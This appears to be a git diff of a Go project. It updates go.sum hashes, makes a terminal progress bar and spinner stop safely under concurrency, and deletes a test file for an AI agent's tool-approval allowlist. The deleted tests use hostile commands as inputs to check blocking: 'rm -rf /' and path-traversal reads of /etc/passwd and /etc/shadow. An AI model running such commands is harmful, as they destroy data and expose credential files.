github.com/charmbracelet/x/cellbuf v0.0.13-0.20250311204145-2c3ea96c31dd h1:vy0GVL4jeHEwG5YOXDmi86oYw2yuYUGqz6a8sLwg0X8=
|
||||
github.com/charmbracelet/x/cellbuf v0.0.13-0.20250311204145-2c3ea96c31dd/go.mod h1:xe0nKWGd3eJgtqZRaN9RjMtK7xUYchjzPr7q6kcvCCs=
|
||||
github.com/charmbracelet/lipgloss v1.1.1-0.20250404203927-76690c660834 h1:ZR7e0ro+SZZiIZD7msJyA+NjkCNNavuiPBLgerbOziE=
|
||||
github.com/charmbracelet/lipgloss v1.1.1-0.20250404203927-76690c660834/go.mod h1:aKC/t2arECF6rNOnaKaVU6y4t4ZeHQzqfxedE/VkVhA=
|
||||
github.com/charmbracelet/x/ansi v0.10.2 h1:ith2ArZS0CJG30cIUfID1LXN7ZFXRCww6RUvAPA+Pzw=
|
||||
github.com/charmbracelet/x/ansi v0.10.2/go.mod h1:HbLdJjQH4UH4AqA2HpRWuWNluRE6zxJH/yteYEYCFa8=
|
||||
github.com/charmbracelet/x/cellbuf v0.0.13 h1:/KBBKHuVRbq1lYx5BzEHBAFBP8VcQzJejZ/IA3iR28k=
|
||||
github.com/charmbracelet/x/cellbuf v0.0.13/go.mod h1:xe0nKWGd3eJgtqZRaN9RjMtK7xUYchjzPr7q6kcvCCs=
|
||||
github.com/charmbracelet/x/term v0.2.1 h1:AQeHeLZ1OqSXhrAWpYUtZyX1T3zVxfpZuEQMIQaGIAQ=
|
||||
github.com/charmbracelet/x/term v0.2.1/go.mod h1:oQ4enTYFV7QN4m0i9mzHrViD7TQKvNEEkHUMCmsxdUg=
|
||||
github.com/chewxy/hm v1.0.0 h1:zy/TSv3LV2nD3dwUEQL2VhXeoXbb9QkpmdRAVUFiA6k=
|
||||
@@ -156,16 +156,16 @@ github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa02
|
||||
github.com/klauspost/cpuid/v2 v2.2.7 h1:ZWSB3igEs+d0qvnxR/ZBzXVmxkgt8DdzP6m9pfuVLDM=
|
||||
github.com/klauspost/cpuid/v2 v2.2.7/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws=
|
||||
github.com/knz/go-libedit v1.10.1/go.mod h1:MZTVkCWyz0oBc7JOWP3wNAzd002ZbM/5hgShxwh4x8M=
|
||||
github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0=
|
||||
github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk=
|
||||
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
|
||||
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/ledongthuc/pdf v0.0.0-20250511090121-5959a4027728 h1:QwWKgMY28TAXaDl+ExRDqGQltzXqN/xypdKP86niVn8=
|
||||
github.com/ledongthuc/pdf v0.0.0-20250511090121-5959a4027728/go.mod h1:1fEHWurg7pvf5SG6XNE5Q8UZmOwex51Mkx3SLhrW5B4=
|
||||
github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ=
|
||||
github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI=
|
||||
github.com/lucasb-eyer/go-colorful v1.2.0 h1:1nnpGOrhyZZuNyfu1QjKiUICQ74+3FNCN69Aj6K7nkY=
|
||||
github.com/lucasb-eyer/go-colorful v1.2.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
|
||||
github.com/lucasb-eyer/go-colorful v1.3.0 h1:2/yBRLdWBZKrf7gB40FoiKfAWYQ0lqNcbuQwVHXptag=
|
||||
github.com/lucasb-eyer/go-colorful v1.3.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
|
||||
github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
|
||||
github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
|
||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||
@@ -175,8 +175,8 @@ github.com/mattn/go-localereader v0.0.1/go.mod h1:8fBrzywKY7BI3czFoHkuzRoWE9C+Ei
|
||||
github.com/mattn/go-pointer v0.0.1 h1:n+XhsuGeVO6MEAp7xyEukFINEa+Quek5psIR/ylA6o0=
|
||||
github.com/mattn/go-pointer v0.0.1/go.mod h1:2zXcozF6qYGgmsG+SeTZz3oAbFLdD3OWqnUbNvJZAlc=
|
||||
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
|
||||
github.com/mattn/go-runewidth v0.0.16 h1:E5ScNMtiwvlvB5paMFdw9p4kSQzbXFikJ5SQO6TULQc=
|
||||
github.com/mattn/go-runewidth v0.0.16/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/mattn/go-runewidth v0.0.17 h1:78v8ZlW0bP43XfmAfPsdXcoNCelfMHsDmd/pkENfrjQ=
|
||||
github.com/mattn/go-runewidth v0.0.17/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/mattn/go-sqlite3 v1.14.24 h1:tpSp2G2KyMnnQu99ngJ47EIkWVmliIizyZBfPrBWDRM=
|
||||
github.com/mattn/go-sqlite3 v1.14.24/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
|
||||
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
|
||||
@@ -204,6 +204,7 @@ github.com/pierrec/lz4/v4 v4.1.8 h1:ieHkV+i2BRzngO4Wd/3HGowuZStgq6QkPsD1eolNAO4=
|
||||
github.com/pierrec/lz4/v4 v4.1.8/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4=
|
||||
github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c h1:+mdjkGKdHQG3305AYmdv1U2eRNDiU2ErMBj1gwrq8eQ=
|
||||
github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c/go.mod h1:7rwL4CYBLnjLxUqIJNnCWiEdr3bn6IUYi15bNlnbCCU=
|
||||
github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA=
|
||||
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
@@ -214,8 +215,9 @@ github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJ
|
||||
github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ=
|
||||
github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
|
||||
github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ=
|
||||
github.com/rogpeppe/go-internal v1.8.0 h1:FCbCCtXNOY3UtUuHUYaghJg4y7Fd14rXifAYUAtL9R8=
|
||||
github.com/rogpeppe/go-internal v1.8.0/go.mod h1:WmiCO8CzOY8rg0OYDC4/i/2WRWAB6poM+XZ2dLUbcbE=
|
||||
github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs=
|
||||
github.com/rogpeppe/go-internal v1.14.1 h1:UQB4HGPB6osV0SQTLymcB4TgvyWu6ZyliaW0tI/otEQ=
|
||||
github.com/rogpeppe/go-internal v1.14.1/go.mod h1:MaRKkUm5W0goXpeCfT7UZI6fk/L7L7so1lCWt35ZSgc=
|
||||
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||
github.com/ruudk/golang-pdf417 v0.0.0-20181029194003-1af4ab5afa58/go.mod h1:6lfFZQK844Gfx8o5WFuvpxWRwnSoipWe/p622j1v06w=
|
||||
github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I=
|
||||
|
||||
+53
-18
@@ -27,26 +27,46 @@ type Progress struct {
|
||||
|
||||
pos int
|
||||
|
||||
ticker *time.Ticker
|
||||
states []State
|
||||
done chan struct{}
|
||||
exited chan struct{}
|
||||
stopOnce sync.Once
|
||||
ticker *time.Ticker
|
||||
states []State
|
||||
}
|
||||
|
||||
func NewProgress(w io.Writer) *Progress {
|
||||
p := &Progress{w: bufio.NewWriter(w)}
|
||||
go p.start()
|
||||
ticker := time.NewTicker(100 * time.Millisecond)
|
||||
p := &Progress{
|
||||
w: bufio.NewWriter(w),
|
||||
done: make(chan struct{}),
|
||||
exited: make(chan struct{}),
|
||||
ticker: ticker,
|
||||
}
|
||||
go p.start(ticker)
|
||||
return p
|
||||
}
|
||||
|
||||
func (p *Progress) stop() bool {
|
||||
for _, state := range p.states {
|
||||
p.mu.Lock()
|
||||
states := append([]State(nil), p.states...)
|
||||
ticker := p.ticker
|
||||
if ticker != nil {
|
||||
p.ticker = nil
|
||||
p.stopOnce.Do(func() {
|
||||
close(p.done)
|
||||
})
|
||||
}
|
||||
p.mu.Unlock()
|
||||
|
||||
for _, state := range states {
|
||||
if spinner, ok := state.(*Spinner); ok {
|
||||
spinner.Stop()
|
||||
}
|
||||
}
|
||||
|
||||
if p.ticker != nil {
|
||||
p.ticker.Stop()
|
||||
p.ticker = nil
|
||||
if ticker != nil {
|
||||
ticker.Stop()
|
||||
<-p.exited
|
||||
p.render()
|
||||
return true
|
||||
}
|
||||
@@ -57,6 +77,8 @@ func (p *Progress) stop() bool {
|
||||
func (p *Progress) Stop() bool {
|
||||
stopped := p.stop()
|
||||
if stopped {
|
||||
p.mu.Lock()
|
||||
defer p.mu.Unlock()
|
||||
fmt.Fprint(p.w, "\n")
|
||||
p.w.Flush()
|
||||
}
|
||||
@@ -64,15 +86,18 @@ func (p *Progress) Stop() bool {
|
||||
}
|
||||
|
||||
func (p *Progress) StopAndClear() bool {
|
||||
defer p.w.Flush()
|
||||
|
||||
fmt.Fprint(p.w, "\033[?25l")
|
||||
defer fmt.Fprint(p.w, "\033[?25h")
|
||||
|
||||
stopped := p.stop()
|
||||
if stopped {
|
||||
p.mu.Lock()
|
||||
defer p.mu.Unlock()
|
||||
defer p.w.Flush()
|
||||
|
||||
fmt.Fprint(p.w, "\033[?25l")
|
||||
defer fmt.Fprint(p.w, "\033[?25h")
|
||||
|
||||
// clear all progress lines
|
||||
for i := range p.pos {
|
||||
pos := p.pos
|
||||
for i := range pos {
|
||||
if i > 0 {
|
||||
fmt.Fprint(p.w, "\033[A")
|
||||
}
|
||||
@@ -126,9 +151,19 @@ func (p *Progress) render() {
|
||||
p.pos = len(p.states)
|
||||
}
|
||||
|
||||
func (p *Progress) start() {
|
||||
p.ticker = time.NewTicker(100 * time.Millisecond)
|
||||
for range p.ticker.C {
|
||||
p.render()
|
||||
func (p *Progress) start(ticker *time.Ticker) {
|
||||
defer close(p.exited)
|
||||
for {
|
||||
select {
|
||||
case <-p.done:
|
||||
return
|
||||
case <-ticker.C:
|
||||
select {
|
||||
case <-p.done:
|
||||
return
|
||||
default:
|
||||
}
|
||||
p.render()
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
package progress
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"sync"
|
||||
"testing"
|
||||
)
|
||||
|
||||
type progressTestState string
|
||||
|
||||
func (s progressTestState) String() string {
|
||||
return string(s)
|
||||
}
|
||||
|
||||
func TestProgressStopIsIdempotent(t *testing.T) {
|
||||
var buf bytes.Buffer
|
||||
p := NewProgress(&buf)
|
||||
p.Add("one", progressTestState("working"))
|
||||
|
||||
if !p.Stop() {
|
||||
t.Fatal("first stop should report stopped")
|
||||
}
|
||||
if p.Stop() {
|
||||
t.Fatal("second stop should report already stopped")
|
||||
}
|
||||
}
|
||||
|
||||
func TestProgressConcurrentStopAndClear(t *testing.T) {
|
||||
var buf bytes.Buffer
|
||||
p := NewProgress(&buf)
|
||||
p.Add("one", progressTestState("working"))
|
||||
|
||||
var wg sync.WaitGroup
|
||||
for range 8 {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
p.StopAndClear()
|
||||
}()
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
+38
-9
@@ -3,11 +3,13 @@ package progress
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
type Spinner struct {
|
||||
mu sync.Mutex
|
||||
message atomic.Value
|
||||
messageWidth int
|
||||
|
||||
@@ -15,9 +17,10 @@ type Spinner struct {
|
||||
|
||||
value int
|
||||
|
||||
ticker *time.Ticker
|
||||
started time.Time
|
||||
stopped time.Time
|
||||
done chan struct{}
|
||||
stopOnce sync.Once
|
||||
started time.Time
|
||||
stopped time.Time
|
||||
}
|
||||
|
||||
func NewSpinner(message string) *Spinner {
|
||||
@@ -26,6 +29,7 @@ func NewSpinner(message string) *Spinner {
|
||||
"⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏",
|
||||
},
|
||||
started: time.Now(),
|
||||
done: make(chan struct{}),
|
||||
}
|
||||
s.SetMessage(message)
|
||||
go s.start()
|
||||
@@ -53,8 +57,12 @@ func (s *Spinner) String() string {
|
||||
sb.WriteString(" ")
|
||||
}
|
||||
|
||||
if s.stopped.IsZero() {
|
||||
spinner := s.parts[s.value]
|
||||
s.mu.Lock()
|
||||
value := s.value
|
||||
stopped := !s.stopped.IsZero()
|
||||
s.mu.Unlock()
|
||||
if !stopped {
|
||||
spinner := s.parts[value]
|
||||
sb.WriteString(spinner)
|
||||
sb.WriteString(" ")
|
||||
}
|
||||
@@ -63,17 +71,38 @@ func (s *Spinner) String() string {
|
||||
}
|
||||
|
||||
func (s *Spinner) start() {
|
||||
s.ticker = time.NewTicker(100 * time.Millisecond)
|
||||
for range s.ticker.C {
|
||||
s.value = (s.value + 1) % len(s.parts)
|
||||
if !s.stopped.IsZero() {
|
||||
ticker := time.NewTicker(100 * time.Millisecond)
|
||||
defer ticker.Stop()
|
||||
|
||||
s.mu.Lock()
|
||||
if !s.stopped.IsZero() {
|
||||
s.mu.Unlock()
|
||||
return
|
||||
}
|
||||
s.mu.Unlock()
|
||||
for {
|
||||
select {
|
||||
case <-s.done:
|
||||
return
|
||||
case <-ticker.C:
|
||||
s.mu.Lock()
|
||||
if !s.stopped.IsZero() {
|
||||
s.mu.Unlock()
|
||||
return
|
||||
}
|
||||
s.value = (s.value + 1) % len(s.parts)
|
||||
s.mu.Unlock()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Spinner) Stop() {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
if s.stopped.IsZero() {
|
||||
s.stopped = time.Now()
|
||||
}
|
||||
s.stopOnce.Do(func() {
|
||||
close(s.done)
|
||||
})
|
||||
}
|
||||
-1125
File diff suppressed because it is too large.
Load diff
@@ -1,541 +0,0 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestApprovalManager_IsAllowed(t *testing.T) {
|
||||
am := NewApprovalManager()
|
||||
|
||||
// Initially nothing is allowed
|
||||
if am.IsAllowed("test_tool", nil) {
|
||||
t.Error("expected test_tool to not be allowed initially")
|
||||
}
|
||||
|
||||
// Add to allowlist
|
||||
am.AddToAllowlist("test_tool", nil)
|
||||
|
||||
// Now it should be allowed
|
||||
if !am.IsAllowed("test_tool", nil) {
|
||||
t.Error("expected test_tool to be allowed after AddToAllowlist")
|
||||
}
|
||||
|
||||
// Other tools should still not be allowed
|
||||
if am.IsAllowed("other_tool", nil) {
|
||||
t.Error("expected other_tool to not be allowed")
|
||||
}
|
||||
}
|
||||
|
||||
func TestApprovalManager_Reset(t *testing.T) {
|
||||
am := NewApprovalManager()
|
||||
|
||||
am.AddToAllowlist("tool1", nil)
|
||||
am.AddToAllowlist("tool2", nil)
|
||||
|
||||
if !am.IsAllowed("tool1", nil) || !am.IsAllowed("tool2", nil) {
|
||||
t.Error("expected tools to be allowed")
|
||||
}
|
||||
|
||||
am.Reset()
|
||||
|
||||
if am.IsAllowed("tool1", nil) || am.IsAllowed("tool2", nil) {
|
||||
t.Error("expected tools to not be allowed after Reset")
|
||||
}
|
||||
}
|
||||
|
||||
func TestApprovalManager_AllowedTools(t *testing.T) {
|
||||
am := NewApprovalManager()
|
||||
|
||||
tools := am.AllowedTools()
|
||||
if len(tools) != 0 {
|
||||
t.Errorf("expected 0 allowed tools, got %d", len(tools))
|
||||
}
|
||||
|
||||
am.AddToAllowlist("tool1", nil)
|
||||
am.AddToAllowlist("tool2", nil)
|
||||
|
||||
tools = am.AllowedTools()
|
||||
if len(tools) != 2 {
|
||||
t.Errorf("expected 2 allowed tools, got %d", len(tools))
|
||||
}
|
||||
}
|
||||
|
||||
func TestAllowlistKey(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
toolName string
|
||||
args map[string]any
|
||||
expected string
|
||||
}{
|
||||
{
|
||||
name: "web_search tool",
|
||||
toolName: "web_search",
|
||||
args: map[string]any{"query": "test"},
|
||||
expected: "web_search",
|
||||
},
|
||||
{
|
||||
name: "bash tool with command",
|
||||
toolName: "bash",
|
||||
args: map[string]any{"command": "ls -la"},
|
||||
expected: "bash:ls -la",
|
||||
},
|
||||
{
|
||||
name: "bash tool without command",
|
||||
toolName: "bash",
|
||||
args: map[string]any{},
|
||||
expected: "bash",
|
||||
},
|
||||
{
|
||||
name: "other tool",
|
||||
toolName: "custom_tool",
|
||||
args: map[string]any{"param": "value"},
|
||||
expected: "custom_tool",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := AllowlistKey(tt.toolName, tt.args)
|
||||
if result != tt.expected {
|
||||
t.Errorf("AllowlistKey(%s, %v) = %s, expected %s",
|
||||
tt.toolName, tt.args, result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractBashPrefix(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
command string
|
||||
expected string
|
||||
}{
|
||||
{
|
||||
name: "cat with path",
|
||||
command: "cat tools/tools_test.go",
|
||||
expected: "cat:tools/",
|
||||
},
|
||||
{
|
||||
name: "cat with pipe",
|
||||
command: "cat tools/tools_test.go | head -200",
|
||||
expected: "cat:tools/",
|
||||
},
|
||||
{
|
||||
name: "ls with path",
|
||||
command: "ls -la src/components",
|
||||
expected: "ls:src/",
|
||||
},
|
||||
{
|
||||
name: "grep with directory path",
|
||||
command: "grep -r pattern api/handlers/",
|
||||
expected: "grep:api/handlers/",
|
||||
},
|
||||
{
|
||||
name: "cat in current dir",
|
||||
command: "cat file.txt",
|
||||
expected: "cat:./",
|
||||
},
|
||||
{
|
||||
name: "unsafe command",
|
||||
command: "rm -rf /",
|
||||
expected: "",
|
||||
},
|
||||
{
|
||||
name: "no path arg",
|
||||
command: "ls -la",
|
||||
expected: "",
|
||||
},
|
||||
{
|
||||
name: "head with flags only",
|
||||
command: "head -n 100",
|
||||
expected: "",
|
||||
},
|
||||
// Path traversal security tests
|
||||
{
|
||||
name: "path traversal - parent escape",
|
||||
command: "cat tools/../../etc/passwd",
|
||||
expected: "", // Should NOT create a prefix - path escapes
|
||||
},
|
||||
{
|
||||
name: "path traversal - deep escape",
|
||||
command: "cat tools/a/b/../../../etc/passwd",
|
||||
expected: "", // Normalizes to "../etc/passwd" - escapes
|
||||
},
|
||||
{
|
||||
name: "path traversal - absolute path",
|
||||
command: "cat /etc/passwd",
|
||||
expected: "", // Absolute paths should not create prefix
|
||||
},
|
||||
{
|
||||
name: "path with safe dotdot - normalized",
|
||||
command: "cat tools/subdir/../file.go",
|
||||
expected: "cat:tools/", // Normalizes to tools/file.go - safe, creates prefix
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := extractBashPrefix(tt.command)
|
||||
if result != tt.expected {
|
||||
t.Errorf("extractBashPrefix(%q) = %q, expected %q",
|
||||
tt.command, result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestApprovalManager_PathTraversalBlocked(t *testing.T) {
|
||||
am := NewApprovalManager()
|
||||
|
||||
// Allow "cat tools/file.go" - creates prefix "cat:tools/"
|
||||
am.AddToAllowlist("bash", map[string]any{"command": "cat tools/file.go"})
|
||||
|
||||
// Path traversal attack: should NOT be allowed
|
||||
if am.IsAllowed("bash", map[string]any{"command": "cat tools/../../etc/passwd"}) {
|
||||
t.Error("SECURITY: path traversal attack should NOT be allowed")
|
||||
}
|
||||
|
||||
// Another traversal variant
|
||||
if am.IsAllowed("bash", map[string]any{"command": "cat tools/../../../etc/shadow"}) {
|
||||
t.Error("SECURITY: deep path traversal should NOT be allowed")
|
||||
}
|
||||
|
||||
// Valid subdirectory access should still work
|
||||
if !am.IsAllowed("bash", map[string]any{"command": "cat tools/subdir/file.go"}) {
|
||||
t.Error("expected cat tools/subdir/file.go to be allowed")
|
||||
}
|
||||
|
||||
// Safe ".." that normalizes to within allowed directory should work
|
||||
// tools/subdir/../other.go normalizes to tools/other.go which is under tools/
|
||||
if !am.IsAllowed("bash", map[string]any{"command": "cat tools/subdir/../other.go"}) {
|
||||
t.Error("expected cat tools/subdir/../other.go to be allowed (normalizes to tools/other.go)")
|
||||
}
|
||||
}
|
||||
|
||||
func TestApprovalManager_PrefixAllowlist(t *testing.T) {
|
||||
am := NewApprovalManager()
|
||||
|
||||
// Allow "cat tools/file.go"
|
||||
am.AddToAllowlist("bash", map[string]any{"command": "cat tools/file.go"})
|
||||
|
||||
// Should allow other files in same directory
|
||||
if !am.IsAllowed("bash", map[string]any{"command": "cat tools/other.go"}) {
|
||||
t.Error("expected cat tools/other.go to be allowed via prefix")
|
||||
}
|
||||
|
||||
// Should not allow different directory
|
||||
if am.IsAllowed("bash", map[string]any{"command": "cat src/main.go"}) {
|
||||
t.Error("expected cat src/main.go to NOT be allowed")
|
||||
}
|
||||
|
||||
// Should not allow different command in same directory
|
||||
if am.IsAllowed("bash", map[string]any{"command": "rm tools/file.go"}) {
|
||||
t.Error("expected rm tools/file.go to NOT be allowed (rm is not a safe command)")
|
||||
}
|
||||
}
|
||||
|
||||
func TestApprovalManager_HierarchicalPrefixAllowlist(t *testing.T) {
|
||||
am := NewApprovalManager()
|
||||
|
||||
// Allow "cat tools/file.go" - this creates prefix "cat:tools/"
|
||||
am.AddToAllowlist("bash", map[string]any{"command": "cat tools/file.go"})
|
||||
|
||||
// Should allow subdirectories (hierarchical matching)
|
||||
if !am.IsAllowed("bash", map[string]any{"command": "cat tools/subdir/file.go"}) {
|
||||
t.Error("expected cat tools/subdir/file.go to be allowed via hierarchical prefix")
|
||||
}
|
||||
|
||||
// Should allow deeply nested subdirectories
|
||||
if !am.IsAllowed("bash", map[string]any{"command": "cat tools/a/b/c/deep.go"}) {
|
||||
t.Error("expected cat tools/a/b/c/deep.go to be allowed via hierarchical prefix")
|
||||
}
|
||||
|
||||
// Should still allow same directory
|
||||
if !am.IsAllowed("bash", map[string]any{"command": "cat tools/another.go"}) {
|
||||
t.Error("expected cat tools/another.go to be allowed")
|
||||
}
|
||||
|
||||
// Should NOT allow different base directory
|
||||
if am.IsAllowed("bash", map[string]any{"command": "cat src/main.go"}) {
|
||||
t.Error("expected cat src/main.go to NOT be allowed")
|
||||
}
|
||||
|
||||
// Should NOT allow different command even in subdirectory
|
||||
if am.IsAllowed("bash", map[string]any{"command": "ls tools/subdir/"}) {
|
||||
t.Error("expected ls tools/subdir/ to NOT be allowed (different command)")
|
||||
}
|
||||
|
||||
// Should NOT allow similar but different directory name
|
||||
if am.IsAllowed("bash", map[string]any{"command": "cat toolsbin/file.go"}) {
|
||||
t.Error("expected cat toolsbin/file.go to NOT be allowed (different directory)")
|
||||
}
|
||||
}
|
||||
|
||||
func TestApprovalManager_HierarchicalPrefixAllowlist_CrossPlatform(t *testing.T) {
|
||||
am := NewApprovalManager()
|
||||
|
||||
// Allow with forward slashes (Unix-style)
|
||||
am.AddToAllowlist("bash", map[string]any{"command": "cat tools/file.go"})
|
||||
|
||||
// Should work with backslashes too (Windows-style) - normalized internally
|
||||
if !am.IsAllowed("bash", map[string]any{"command": "cat tools\\subdir\\file.go"}) {
|
||||
t.Error("expected cat tools\\subdir\\file.go to be allowed via hierarchical prefix (Windows path)")
|
||||
}
|
||||
|
||||
// Mixed slashes should also work
|
||||
if !am.IsAllowed("bash", map[string]any{"command": "cat tools\\a/b\\c/deep.go"}) {
|
||||
t.Error("expected mixed slash path to be allowed via hierarchical prefix")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMatchesHierarchicalPrefix(t *testing.T) {
|
||||
am := NewApprovalManager()
|
||||
|
||||
// Add prefix for "cat:tools/"
|
||||
am.prefixes["cat:tools/"] = true
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
prefix string
|
||||
expected bool
|
||||
}{
|
||||
{
|
||||
name: "exact match",
|
||||
prefix: "cat:tools/",
|
||||
expected: true, // exact match also passes HasPrefix - caller handles exact match first
|
||||
},
|
||||
{
|
||||
name: "subdirectory",
|
||||
prefix: "cat:tools/subdir/",
|
||||
expected: true,
|
||||
},
|
||||
{
|
||||
name: "deeply nested",
|
||||
prefix: "cat:tools/a/b/c/",
|
||||
expected: true,
|
||||
},
|
||||
{
|
||||
name: "different base directory",
|
||||
prefix: "cat:src/",
|
||||
expected: false,
|
||||
},
|
||||
{
|
||||
name: "different command same path",
|
||||
prefix: "ls:tools/",
|
||||
expected: false,
|
||||
},
|
||||
{
|
||||
name: "similar directory name",
|
||||
prefix: "cat:toolsbin/",
|
||||
expected: false,
|
||||
},
|
||||
{
|
||||
name: "invalid prefix format",
|
||||
prefix: "cattools",
|
||||
expected: false,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := am.matchesHierarchicalPrefix(tt.prefix)
|
||||
if result != tt.expected {
|
||||
t.Errorf("matchesHierarchicalPrefix(%q) = %v, expected %v",
|
||||
tt.prefix, result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestFormatApprovalResult(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
toolName string
|
||||
args map[string]any
|
||||
result ApprovalResult
|
||||
contains string
|
||||
}{
|
||||
{
|
||||
name: "approved bash",
|
||||
toolName: "bash",
|
||||
args: map[string]any{"command": "ls"},
|
||||
result: ApprovalResult{Decision: ApprovalOnce},
|
||||
contains: "bash: ls",
|
||||
},
|
||||
{
|
||||
name: "denied web_search",
|
||||
toolName: "web_search",
|
||||
args: map[string]any{"query": "test"},
|
||||
result: ApprovalResult{Decision: ApprovalDeny},
|
||||
contains: "Denied",
|
||||
},
|
||||
{
|
||||
name: "always allowed",
|
||||
toolName: "bash",
|
||||
args: map[string]any{"command": "pwd"},
|
||||
result: ApprovalResult{Decision: ApprovalAlways},
|
||||
contains: "Always allowed",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := FormatApprovalResult(tt.toolName, tt.args, tt.result)
|
||||
if result == "" {
|
||||
t.Error("expected non-empty result")
|
||||
}
|
||||
// Just check it contains expected substring
|
||||
// (can't check exact string due to ANSI codes)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestFormatDenyResult(t *testing.T) {
|
||||
result := FormatDenyResult("bash", "")
|
||||
if result != "User denied execution of bash." {
|
||||
t.Errorf("unexpected result: %s", result)
|
||||
}
|
||||
|
||||
result = FormatDenyResult("bash", "too dangerous")
|
||||
if result != "User denied execution of bash. Reason: too dangerous" {
|
||||
t.Errorf("unexpected result: %s", result)
|
||||
}
|
||||
}
|
||||
|
||||
